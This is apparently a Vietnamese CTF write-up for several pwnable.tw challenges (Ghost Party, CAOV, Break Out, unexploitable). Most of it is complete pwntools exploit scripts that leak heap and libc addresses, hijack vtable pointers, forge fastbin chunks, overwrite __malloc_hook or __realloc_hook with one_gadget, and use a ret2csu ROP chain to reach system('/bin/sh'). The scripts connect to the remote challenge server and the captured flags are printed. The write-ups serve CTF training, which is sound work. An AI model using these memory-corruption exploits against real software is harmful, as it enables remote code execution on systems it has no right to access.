  • tham số speaking() là 1 class
template <class T>
void speaking(T ghost){
	ghost.speak();
};

thực ra nó không tham chiếu đến class mình đưa vào mà tạo 1 class MỚI giống class mình truyền vào
-> copy class mới vào ghost
-> ghost chứa speak() thuộc speaking()
-> gọi destructor bình thường

  • idea work flow cho bài này là:
    • ow vfptr thành one_gadget

hijack the vfptr because the vfptr is writeable

leak heap

### vampire idx0
add(b'a',1,b'b',vampire)
sla(b'blood :', b'c'*0x60)
action()

show(0)
p.recvuntil(b'Blood : ')
heap = u64(p.recv(6) + b'\0\0') + 0x80 #jump next class
info("heap leak: " + hex(heap))

image

thực ra value trên tượng trưng thôi, bị sai
nhưng thực thế run bên server đúng nha

leak exe

  • tận dụng lỗi trên, ta có thể leak exe base cũng như vtable bằng cách dùng copy constructor từ class Devil
### devil idx1
add(b'e',2,b'f',devil) #copy constructor
sla(b'power :', b'a')
action()

show(0)
p.recvuntil(b'Blood : ')
vtable_devil= u64(p.recv(6) + b'\0\0')
exe.address = vtable_devil - 0x210b60
info("vtable devil: " + hex(vtable_devil))
info("exe base: " + hex(exe.address))

image

leak libc

  • ở leak libc, ta sẽ ow vfptr để cái nó gọi thực ra là cái mình ow
delete(0) #delete_0 vampire

payload = p64(vtable_devil) + p64(0) + p64(exe.got.__libc_start_main)
payload = payload.ljust(0x60,b'\0')

add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()

show()
p.recvuntil(b'0.  : ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address= libc_leak - 0x20740
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sl(b'1')
  • offset trên server hơi khác so với local (có lẽ khác Ubuntu hay 1 vấn đề nào khác) nên sẽ dùng readelf để lấy offset

image

0x20740

one_gadget

  • việc còn lại là trigger vtable
one_gadget = libc.address + 0xef6c4

payload = p64(heap) + p64(0) + p64(one_gadget)
payload = payload.ljust(0x60,b'\0')

## setup fastbin

# mummy idx1
add(b'g',3,payload,mummy) #reused
sla(b'bandage : ',b'leak')
action()

delete(1) #delete_1 mummy

# mummy idx1
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()

show(0) #trigger vfptr one_gadget

get flag

image

  • setup local:

nếu các đồng chí đã pwninit mà run file patched bị thiếu libc

1. tự code rồi build Docker 2.23
2. khó khăn thì liên hệ tui, tui gửi libc bị thiếu cho

$ patchelf --add-needed libgcc_s.so.1 ghostparty_patched 
$ patchelf --add-needed libstdc++.so.6 ghostparty_patched
  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./ghostparty', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB(): #NOASLR
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*0x555555405269
        #memcpy in vampire
        #b*0x555555404BE0
        b*0x555555407f89
        #show blood vampire
        b*0x555555403add
        #message
        c
        ''')
        input()


if args.REMOTE:
    p = remote('chall.pwnable.tw',10401)
else:
    p = process(exe.path)

#Rule of Three in C++

wolf = 1
devil = 2
zombie = 3
skull = 4
mummy = 5
dullahan = 6
vampire = 7
yuki = 8
kasa = 9
alan = 10

def add(name,age, msg, option):
    sln(b'choice :', 1)
    sla(b'Name : ', name)
    sln(b'Age : ', age)
    sla(b'Message : ', msg)
    sln(b'ghost :', option)
    
def show(idx=None):
    sln(b'choice :', 2) 
    if idx != None:   
        sln(b'party : ', idx)
    
def action():
    sln(b'choice :', 3)

def delete(idx):
    sln(b'choice :',4)
    sln(b'party : ', idx)

GDB()

### vampire idx0
add(b'a',1,b'b',vampire)
sla(b'blood :', b'c'*0x60)
action()

show(0)
p.recvuntil(b'Blood : ')
heap = u64(p.recv(6) + b'\0\0') + 0x80 #jump next class
info("heap leak: " + hex(heap))

### devil idx1
add(b'e',2,b'f',devil) #copy constructor
sla(b'power :', b'a')
action()

show(0)
p.recvuntil(b'Blood : ')
vtable_devil= u64(p.recv(6) + b'\0\0')
exe.address = vtable_devil - 0x210b60
info("vtable devil: " + hex(vtable_devil))
info("exe base: " + hex(exe.address))

delete(0) #delete_0 vampire

payload = p64(vtable_devil) + p64(0) + p64(exe.got.__libc_start_main)
payload = payload.ljust(0x60,b'\0')

### mummy idx1
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()

show()
p.recvuntil(b'0.  : ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address= libc_leak - 0x20740
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sl(b'1')

delete(1) #delete_1 mummy

one_gadget = libc.address + 0xef6c4

payload = p64(heap) + p64(0) + p64(one_gadget)
payload = payload.ljust(0x60,b'\0')

## setup fastbin

# mummy idx1
add(b'g',3,payload,mummy) #reused
sla(b'bandage : ',b'leak')
action()

delete(1) #delete_1 mummy

#mummy idx1
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()

show(0) #trigger vfptr one_gadget

p.interactive()
#FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R}

FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R}


CAOV [350 pts]

  • description

What does "CAOV" stands for ?

nc chall.pwnable.tw 10306

caov
caov.cpp

libc.so

  • basic file check

image

  • check ida (có renamed lại)

image

main()
trước khi vào khai thác sẽ qua 1 hàm set_name() (sẽ show sau)
sau đó nhập vào key (kiểu char)
value (kiểu int64)
rồi tạo struct Data

image

playground()

image

set_name()
max read 150 trên stack
sau đó cpy vào biến name

image

edit()
BUG nằm ở trong đây (sẽ phân tích sau)

image

set_old()
set NULL rồi gán thời gian lên
giống default destructor

image

change()
operator new cái mới
size từ struct, tạo vào &old
rồi return cái &copy

image

delete()
sẽ free nếu key không NULL
là overridden destructor

image

edit_data()
nhập key với value mới nếu size < 1000
và malloc với size = key_len

image

image

info()

analyse

  • đề có cung cấp source nhưng ta phải nhìn ida vì do binary và source có vài điểm khác nhau

nhìn source lòi con mắt cũng không thấy BUG đâu
nhưng ida thì có, do cơ chế compile của C++

  • đầu tiên, khi chọn option2, sẽ qua set_name() rồi mới tới edit()
  • nhìn lại edit(), cái &copy sẽ lấy từ stack và nếu key không NULL sẽ free khi qua delete()
  • nhưng ta lại có thể setup fake_chunk để free (trên stack) từ set_name()
  • ngoài ra ở hàm info(), sẽ có thể leak thoải mái, vì nó show là show ptr

image

  • lưu ý: để xác định key, ta cần heap base vì mọi dữ liệu khi ta cin sẽ new operator trên heap
  • túm lại đây là BUG reused stack (DEBUG kĩ sẽ thấy cách dữ liệu trên stack bị tác động ntn)
  • khi DEBUG, thấy struct có size là 0x48 (dù ida nhìn chỉ có 3 thứ thay đổi là key, value với change_count) tức là có 0x30 đầu sẽ bị xử lí
  • với cả phải coi asm mới thấy được lỗi của chtrinh khi xử lí struct (tổng tận 0x60)

image

set_old() xử lí &old từ 0x30 là key, 0x38 là value nhưng return &copy ở 0x60

  • Data là struct trên heap được setup từ đầu trong hàm main() nên ctrol payload từ đầu sẽ ảnh hưởng khi DEBUG

mấy cái &old&copy là trên stack cũng theo struct nhưng không dính dáng tới Data

  • Data sẽ thay đổi khi vào hàm edit_data

image

  • vì đây là libc 2.23 nên chỉ có fastbin và có hook
  • TARGET: Hook Overwrite = One_gadget

leak heap

  • đầu tiên khi vào hàm play_ground() ta sẽ setup struct Datakey là NULL

value không ảnh hưởng gì đến workflow
trong C++ sẽ tạo heap khi cin với input > 0x20

  • sau đó chọn option2 sẽ đi qua lần lượt 2 hàm

image

  • lúc này ta tận dụng BUG reused stack từ set_name() khi qua edit()
  • miễn ta setup fake_chunk hoàn hảo sẽ dẫn đến free ptr tuỳ ý khi vào delete()

ở đây payload chứa ptr ở 0x60 (như đề cập ở trên &copy) -> fastbin

  • khôn ngoan ở đây là ta có PIE tắt, biến name trên bss nên lấy nó luôn
payload = flat(
    0, 0x21,        #stuff            #fake_size
    b'D'*8, b'E'*8, #fake_chunk       #stuff
    0x20, 0x20,     #fake_prev_size   #fake_next_size
    b'A'*8, b'B'*8, #stuff
    b'A'*8, b'B'*8, #stuff
    b'A'*8, b'B'*8, #stuff
    name_addr+0x10  #ptr_fake_chunk
    )

fake chunk size 0x20

image

  • rồi setup tiếp phần edit_data() sẽ thay đổi key

key_len cho 0x10 để malloc lại chunk 0x6032c0 (size 0x20), key ghi gì cũng được

  • tiếp theo chọn tiếp option2, setup tiếp fake_chunk thứ 2
  • lúc này ta thấy trong bin có chunk size 0x40, ta sẽ chain payload để khi free sẽ là 0x6032c0 -> 0x14d3c90
payload = flat(
    0, 0x41,        #stuff            #fake_size
    0, b'F'*8,      #fake_chunk       #stuff
    b'A'*8, b'B'*8, #stuff
    b'A'*8, b'B'*8, #stuff
    b'A'*8, 0x20,   #stuff            #fake_next_size
    b'A'*8, b'B'*8, #stuff
    name_addr+0x10  #ptr_fake_chunk
    )

ở fake_chunk để 0 khi vào change() sẽ malloc(1) reused chunk rác 0x20 do delete(old) tạo ra ở payload đầu tiên

image

  • nhưng lần này ở trong edit_data() sẽ KHÔNG thay đổi key
  • lúc này khi info() ở after editing sẽ in ra heap

image

image

leak libc

  • xong leak heap, bây giờ để leak libc, ta cần khả năng ghi đè key
  • có heap base -> xác định heap trỏ Data->key

bằng cách tạo tiếp fake_chunk, xác định key của chunk được malloc ra

  • payload để chain cũng tương tự, nhưng ở phần edit_data() sẽ thay đổi key trỏ về got để leak libc
payload = flat(
    0, 0x51,        #stuff             #fake_size
    0, 0,
    0, 0,
    0, 0,
    0, 0, 
    0, 0x20,                           #fake_next_size
    key_D_addr,     #ptr_fake_chunk
    )

key = p64(exe.got.strlen)

edit(payload, 0x30, key)

image

malloc hook

  • để ow one_gadget vào hook, đầu tiên sẽ chain lại như ban đầu để setup

giữ nguyên keyedit_data()

payload = flat(
    0, 0x71,            #stuff            #fake_size
    b'G'*8, b'H'*8,     #fake_chunk       #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    name_addr+0x10, 0,  #ptr_fake_chunk
    0, 0x20                               #fake_nex_size
    )

edit(payload,1020,b'')

mỗi lần chain fake_chunk sẽ chọn fake_size khác cho dễ nhìn
nhưng ở malloc_hook phải chọn fake_size 0x71 vì ở malloc_hook - 0x23 có sẵn size 0x7f (từ libc)

  • rồi ow hook ở 0x6032c0

nhưng lần này sẽ không thay đổi ở delete(copy)
để không chạm gì tới fastbin

payload = flat(
    0, 0x71,            #stuff            #fake_size
    malloc_hook, 0,     #fake_chunk       #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    0, 0,               #&copy
    0, 0x20                               #fake_nex_size
    )

image

0x7d7d26bc3aed là malloc_hook - 0x23

  • lúc này sẽ thay đổi edit_data(), key_len = 0x60 để malloc ra chunk size 0x70
  • cuối cùng chỉ cần thêm 1 option2 rồi ở edit_data() cho key_len tiếp tục = 0x60 để edit key ở malloc_hook - 0x23

get flag

image

  • script: (có khả năng fail, run vài lần là được)
#!/usr/bin/python3

from pwn import *

exe = ELF('./caov_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x401A99
                #change strcpy
                b*0x40198e
                #set_old
                b*0x4016C4
                #call edit
                b*0x401e8c
                #delete
                b*0x401824
                #main cin_key
                b*0x401557
                #edit info after
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10306)
else:
        p = process(exe.path)

def edit(name, size, data):
    sla(b'choice: ', b'2')
    sla(b'name: ', name)
    sla(b'length: ', str(size))
    if size <= 1000:
        sla(b'Key: ', data)    
        sla(b'Value: ', str(0x1234))

def show():
    sla(b'choice: ', b'1')

# GDB()

sla(b'name: ', b'hlaan')
sla(b'key: ', b'\0'*40)
sla(b'value: ', str(0x1234))

name_addr = 0x6032c0

payload = flat(
    0, 0x21,        #stuff            #fake_size
    b'D'*8, b'E'*8, #fake_chunk       #stuff
    0x20, 0x20,     #fake_prev_size   #fake_next_size
    b'A'*8, b'B'*8, #stuff
    b'A'*8, b'B'*8, #stuff
    b'A'*8, b'B'*8, #stuff
    name_addr+0x10  #ptr_fake_chunk
    )

edit(payload, 0x10, 'A'*8)

# GDB()

payload = flat(
    0, 0x41,        #stuff            #fake_size
    0, b'F'*8,      #fake_chunk       #stuff
    b'A'*8, b'B'*8, #stuff
    b'A'*8, b'B'*8, #stuff
    b'A'*8, 0x20,   #stuff            #fake_next_size
    b'A'*8, b'B'*8, #stuff
    name_addr+0x10  #ptr_fake_chunk
    )

edit(payload, 1020, b'')

p.recvuntil(b'after')
p.recvuntil(b'Key: ')

heap_leak = u32(p.recv(4)) 
heap_base = heap_leak- 0x11c90
key_D_addr = heap_base + 0x11ce0
info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))
info('key Data addr : ' + hex(key_D_addr))

payload = flat(
    0, 0x51,        #stuff             #fake_size
    0, 0,
    0, 0,
    0, 0,
    0, 0, 
    0, 0x20,                           #fake_next_size
    key_D_addr,     #ptr_fake_chunk
    )

key = p64(exe.got.strlen)

edit(payload, 0x30, key)

p.recvuntil(b'after')
p.recvuntil(b'Key: ')

libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.strlen
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

malloc_hook = libc.symbols['__malloc_hook'] - 0x23
one_gadget = libc.address + 0xef6c4

payload = flat(
    0, 0x71,            #stuff            #fake_size
    b'G'*8, b'H'*8,     #fake_chunk       #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    name_addr+0x10, 0,  #ptr_fake_chunk
    0, 0x20                               #fake_nex_size
    )

edit(payload,1020,b'')

payload = flat(
    0, 0x71,            #stuff            #fake_size
    malloc_hook, 0,     #fake_chunk       #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    b'A'*8, b'B'*8,     #stuff
    0, 0,               #&copy
    0, 0x20                               #fake_nex_size
    )

edit(payload, 0x60, 'A'*0x10)

GDB()

key = b'\0'*19 + p64(one_gadget)

edit(b'a', 0x60, key)

p.interactive()
#FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3}

FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3}


Break Out [450 pts]

  • basic file check

image

  • check ida

image

main()

image
image

image

init()
đọc file 'prisoner' rồi mỗi tù nhân tạo 1 cái heap, tạo struct nối nhau
tối đa 10 tù nhân với 10 cái cell (idx)

image

prisoner

image
image

interact()

image
image

image

note()
tạo heap với idx (0->9), nếu idx chưa tạo trước sẽ malloc, nếu đã tạo từ trước, so sánh size mới, new_size > old_size sẽ realloc

image
image

punish()
cấn cái hàm này chỉ được phép punish (free) 1 lần (biến occupied)

image

list()
show thông tin tù nhân

  • và có vài hàm nhỏ lẻ khác sẽ k mention tới

image

analyse

  • khi debug, mình thấy struct của nó như sau (sau khi init() prisoner)
#Gus Oakley::40:Life imprisonment, espionage and computer crime
#James Doolin:Kid Twist:45:Life imprisonment, horrible homicides with ice pick
0x0  (void*) ptr_risk          #ptr trỏ đến "High" 
0x8  (void*) ptr_heap_name     #James Doolin
0x10 (void*) ptr_heap_nickname #Kid Twist
0x18 int age                   #45
0x1c int cell                  #thứ tự tù nhân
0x20 (void*) ptr_heap_msg      #Life imprisonment, horrible homicides with ice pick
0x28 int64 size                #size note
0x30 (void*) ptr_heap_note     #content note
0x38 NULL
0x40 NULL
0x48 (void*) ptr_prev          #ptr tù nhân trước (Gus Oakley)

mỗi block chunk có size 0x51 (do calloc() trong hàm init())

  • tiếp theo nhắc lại cơ chế realloc(), khi request một new_size > old_size thì realloc() sẽ free chunk cũ có old_size và malloc() chunk mới có size là new_size
  • kết hợp libc 2.23 tức ta sẽ có libc khi reused chunk
    -> leak libc
  • ngoài ra hàm list() sẽ in ra *ptr nên ta chỉ cần ow 1 ptr nào đó thành ptr khác trỏ heap
    -> leak heap
  • ptr duy nhất có thể nhập data là note -> fake ptr_heap_note = hook rồi nhập data tiếp theo sẽ là *hook

leak libc

add(6, 0x80, b"aaaa") #6 #malloc   #66d0
add(7, 0x20, b"hlan") #7 #malloc   #6760 #avoid consolidation
add(6, 0x90, b"bbbb") #6 #realloc  #6790 #free #6
add(8, 0x80, b"a"*8)  #8 #malloc   #66d0 #reused #6
show()
    
p.recvuntil(b"Life imprisonment, murder")
p.recvuntil(b"a"*8)
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = libc_leak - 0x3c3b78
malloc_hook = libc.sym.__malloc_hook
fake_chunk = malloc_hook - 0x23
info("libc leak:" + hex(libc_leak))
info("libc base:" + hex(libc.address))
info("fake chunk:" + hex(fake_chunk))

leak heap

delete(1) #6d60 #James Doolin
ptr_heap = malloc_hook+0x68
add(9, 0x48, p64(ptr_heap)*2) #9 #malloc #6d60
#9 -> #1
show()
p.recvuntil(b"multiple homicides")
p.recvuntil(b"Prisoner: ")
heap_leak = u64((p.recv(6))+b'\0\0')
info("heap leak:" + hex(heap_leak))

fake chunk

image

target_chunk -> fake_chunk

#head: 0x5555556173b0
#attack: 0x555555616d60
# GDB()
add(2, 0x68, b"aaaa") #2 #malloc  #79b0 #target_chunk
add(3, 0x20, b"hlan") #3 #malloc  #7a20 #avoid consolidation
add(2, 0x78, b"bbbb") #2 #realloc #7a50 #free #79b0
#bin0x70: 9a0
target_chunk = heap_leak #79a0
info("target chunk:" + hex(target_chunk))
payload =  p64(heap_leak) + p64(heap_leak)          #stuff
payload += p64(heap_leak) + p64(0x000000010000002d) #stuff      #key
payload += p64(heap_leak) + p64(0x10)               #stuff      #fake_size
payload += p64(target_chunk+0x10)                   #target_chunk
add(9, 0x48, payload) #9 #6d60 #not create new (changed #1)
add(1, 0x10, p64(fake_chunk)) #1 #not create new
#bin0x70 9b0->fake_chunk

key là age với cell của tù nhân

ow hook

  • khúc này hơi lằn tà ngoằn xíu, ta không thể ow free_hook (vì cả chall chỉ được free() 1 lần) và nếu ow malloc_hook là system thì size cần là b'/bin/sh\0' nhưng có hàm strtoll chặn rồi
  • chỉ còn cách ow malloc_hook là one_gadget
  • nhưng xui là thử hết one_gadget vẫn k thoả mãn được
  • vậy ta sẽ lách 1 xíu:
    • malloc_hook = realloc
    • realloc_hook = one_gadget
  • chain như thế thì one_gadget sẽ thoả mãn điều kiện stack ở vị trí nhất định là NULL

tăng giảm ở realloc để pop r14, r15, tăng stack lên phù hợp

og = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + og[3]
system = libc.sym.system
info("malloc_hook:" + hex(malloc_hook))
info("one_gadget:" + hex(one_gadget))
#0x555555617a20

add(3, 0x68, b"cccc") #3 #realloc #79b0 #free #7a20
#bin0x70: fake_chunk
payload = b'a'*0xb + p64(one_gadget) + p64(libc.sym.realloc+11)#realloc_plt
add(4, 0x30, payload) #4 #malloc #7ad0
add(5, 0x40, b"hlan") #5 #malloc #7b10 #avoid consolidation
add(4, 0x68, b"") #4 #realloc #fake_chunk #free #7ad0

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./breakout_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
# ld = ELF('./ld-2.23.so', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

def GDB(): #NOASLR
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*0x55555540193E
        #note_realloc
        b*0x55555540191a
        #note_malloc
        b*0x555555401a10
        #punish_free
        b*0x5555554018f7
        #note_secure_read
        c
        ''')
        input()


if args.REMOTE:
    p = remote('chall.pwnable.tw',10400)
else:
    p = process(exe.path)

def add(cell, size, content):
    sa(b"> ", b"note\n")
    sa(b"Cell: ", str(cell))
    sa(b"Size: ", str(size))
    sa(b"Note: ", content)

def delete(cell):
    sa(b"> ", b"punish\n")
    sa(b"Cell: ", str(cell))  

def show():
    sa(b"> ", b"list\n")
    
### leak libc ###
add(6, 0x80, b"aaaa") #6 #malloc   #66d0
add(7, 0x20, b"hlan") #7 #malloc   #6760 #avoid consolidation
add(6, 0x90, b"bbb") #6 #realloc  #6790 #free #6
add(8, 0x80, b"a"*8)  #8 #malloc   #66d0 #reused #6
show()
    
p.recvuntil(b"Life imprisonment, murder")
p.recvuntil(b"a"*8)
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = libc_leak - 0x3c3b78
malloc_hook = libc.sym.__malloc_hook
fake_chunk = malloc_hook - 0x23
info("libc leak:" + hex(libc_leak))
info("libc base:" + hex(libc.address))
info("fake chunk:" + hex(fake_chunk))

### leak heap ###
delete(1) #6d60 #James Doolin
ptr_heap = malloc_hook+0x68
add(9, 0x48, p64(ptr_heap)*2) #9 #malloc #6d60
#9 -> #1
show()
p.recvuntil(b"multiple homicides")
p.recvuntil(b"Prisoner: ")
heap_leak = u64((p.recv(6))+b'\0\0')
info("heap leak:" + hex(heap_leak))

### target_chunk ###
#head: 0x5555556173b0
#attack: 0x555555616d60
# GDB()
add(2, 0x68, b"aaaa") #2 #malloc  #79b0 #target_chunk
add(3, 0x20, b"hlan") #3 #malloc  #7a20 #avoid consolidation
add(2, 0x78, b"bbbb") #2 #realloc #7a50 #free #79b0
#bin0x70: 9a0
target_chunk = heap_leak #79a0
info("target chunk:" + hex(target_chunk))
payload =  p64(heap_leak) + p64(heap_leak)          #stuff
payload += p64(heap_leak) + p64(0x000000010000002d) #stuff      #key
payload += p64(heap_leak) + p64(0x10)               #stuff      #fake_size
payload += p64(target_chunk+0x10)                   #target_chunk
add(9, 0x48, payload) #9 #6d60 #not create new (changed #1)
add(1, 0x10, p64(fake_chunk)) #1 #not create new
#bin0x70 9b0->fake_chunk

### get fake_chunk ###
# input()
og = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + og[3]
system = libc.sym.system
info("malloc_hook:" + hex(malloc_hook))
info("one_gadget:" + hex(one_gadget))
#0x555555617a20

add(3, 0x68, b"cccc") #3 #realloc #79b0 #free #7a20
#bin0x70: fake_chunk
payload = b'a'*0xb + p64(one_gadget) + p64(libc.sym.realloc+11)#realloc_plt
add(4, 0x30, payload) #4 #malloc #7ad0
add(5, 0x40, b"hlan") #5 #malloc #7b10 #avoid consolidation
add(4, 0x68, b"") #4 #realloc #fake_chunk #free #7ad0

### get shell ###
sa(b"> ", b"note\n")
sa(b"Cell: ", b"0")
sa(b"Size: ", str(0x80))

p.interactive()
#FLAG{Br3ak_0ut_7He_Pr1s0N}

FLAG{Br3ak_0ut_7He_Pr1s0N}


unexploitable [500 pts]

  • description:

The original challenge is on pwnable.kr and it is solvable.

This time we fix the vulnerability and now we promise that the service is unexploitable.

nc chall.pwnable.tw 10403

unexploitable

libc.so

  • basic file check

image

  • check ida

image

main()

analyse

  • BOF khá là rõ, nhưng với những dạng chall thế này thường là ROP
  • có khá ít gadget nên sẽ đổi hướng qua ret2csu

image

hơi khác, thay vì pop thì mov trên stack

  • hơi khoai vì k có hàm để in ra

image

  • nhưng vì có thể call thoải mái read (nếu setup csu) nên target sẽ là thay đổi read@plt thành 1 cái khác
  • nhưng đổi từ plt này sang plt khác là điều không thể > modify least significant byte

image

byte '\x7e' là syscall

  • vậy target là call read ghi 1 byte tại read@got
  • từ đó setup syscall number ở $rax là có thể call mọi hàm (cụ thể để leak là write)
  • leak xong call read tiếp thay đổi read@plt thành system
  • setup "/bin/sh\0" rồi call read (system)

trigger read 1 more time

payload = b"a"*0x10 
payload += p64(0xdeadbeef)      #rbp
payload += csu_rop(0,1,exe.got.read,0,rw_section,0x600)
payload += p64(pop_rbp)         #set rbp
payload += p64(rw_section+0x8)  #rbp
payload += p64(leave_ret)       
sl(payload)

leak libc + get shell

payload = b"/bin/sh\0"          #rw_section
payload += p64(0xdeadbeef)      #new rbp
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 1)      #modify least significant byte to syscall
for i in range(6):
    payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main+i, 1) #leak libc
payload += csu_rop(0, 1,  exe.got.read, 1, exe.got.__libc_start_main, 0)    #change syscall number to read (RAX=0)
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 0x8)                #ow read@got = system
payload += csu_rop(0, 1, exe.got.read, rw_section, 0, 0)                    #rdi = "/bin/sh\0" + call system
payload += p64(exe.sym.main)
sl(payload)

sleep(1)
s(b'\x7e') #syscall
sleep(1)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.__libc_start_main
system = libc.sym.system
print(f"[*] Libc leak: {hex(libc_leak)}")
print(f"[*] Libc base: {hex(libc.address)}")

sleep(1)
s(p64(system))
  • lưu ý, ta phải sleep 1 khoảng thời gian vì hong là tốc độ gửi tiếp payload tiếp theo quá nhanh > recvuntil không kịp > fail

tuỳ thuộc vào delay độ trễ của server nên tăng time lên nếu cần thiết

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./unexploitable_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*main+51
        c
        ''')
        input()


if args.REMOTE:
    p = remote('chall.pwnable.tw',10403)
else:
    p = process(exe.path)

'''
   0x00000000004005d0 <+80>:    mov    rdx,r15
   0x00000000004005d3 <+83>:    mov    rsi,r14
   0x00000000004005d6 <+86>:    mov    edi,r13d
   0x00000000004005d9 <+89>:    call   QWORD PTR [r12+rbx*8]
   ------------------------------------------------------------
   0x00000000004005e6 <+102>:   mov    rbx,QWORD PTR [rsp+0x8]
   0x00000000004005eb <+107>:   mov    rbp,QWORD PTR [rsp+0x10]
   0x00000000004005f0 <+112>:   mov    r12,QWORD PTR [rsp+0x18]
   0x00000000004005f5 <+117>:   mov    r13,QWORD PTR [rsp+0x20]
   0x00000000004005fa <+122>:   mov    r14,QWORD PTR [rsp+0x28]
   0x00000000004005ff <+127>:   mov    r15,QWORD PTR [rsp+0x30]
   0x0000000000400604 <+132>:   add    rsp,0x38
   0x0000000000400608 <+136>:   ret
'''

rw_section = 0x601028 + (0x100-0x8)
csu_1 = 0x00000000004005e6
csu_2 = 0x00000000004005d0
pop_rbp = 0x0000000000400512
leave_ret = 0x0000000000400576

def csu_rop(rbx:int, rbp:int, r12:int, rdi:int, rsi:int, rdx:int):
    rop = p64(csu_1)
    rop += p64(0)       #padding
    rop += p64(rbx)     #rbx
    rop += p64(rbp)     #rbp
    rop += p64(r12)     #r12->call
    rop += p64(rdi)     #r13->edi
    rop += p64(rsi)     #r14->rsi
    rop += p64(rdx)     #r15->rdx
    rop += p64(csu_2)   #call r12
    rop += b"A"*0x38    #padding
    return rop

payload = b"a"*0x10 
payload += p64(0xdeadbeef)      #rbp
payload += csu_rop(0,1,exe.got.read,0,rw_section,0x600)
payload += p64(pop_rbp)         #set rbp
payload += p64(rw_section+0x8)  #rbp
payload += p64(leave_ret)       
sl(payload)

sleep(3)
GDB()

payload = b"/bin/sh\0"          #rw_section
payload += p64(0xdeadbeef)      #new rbp
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 1)      #modify least significant byte to syscall
for i in range(6):
    payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main+i, 1) #leak libc
payload += csu_rop(0, 1,  exe.got.read, 1, exe.got.__libc_start_main, 0)    #change syscall number to read (RAX=0)
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 0x8)                #ow read@got = system
payload += csu_rop(0, 1, exe.got.read, rw_section, 0, 0)                    #rdi = "/bin/sh\0" + call system
payload += p64(exe.sym.main)
sl(payload)

sleep(1)
s(b'\x7e') #syscall
sleep(1)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.__libc_start_main
system = libc.sym.system
print(f"[*] Libc leak: {hex(libc_leak)}")
print(f"[*] Libc base: {hex(libc.address)}")

sleep(1)
s(p64(system))

p.interactive()
#FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}

FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}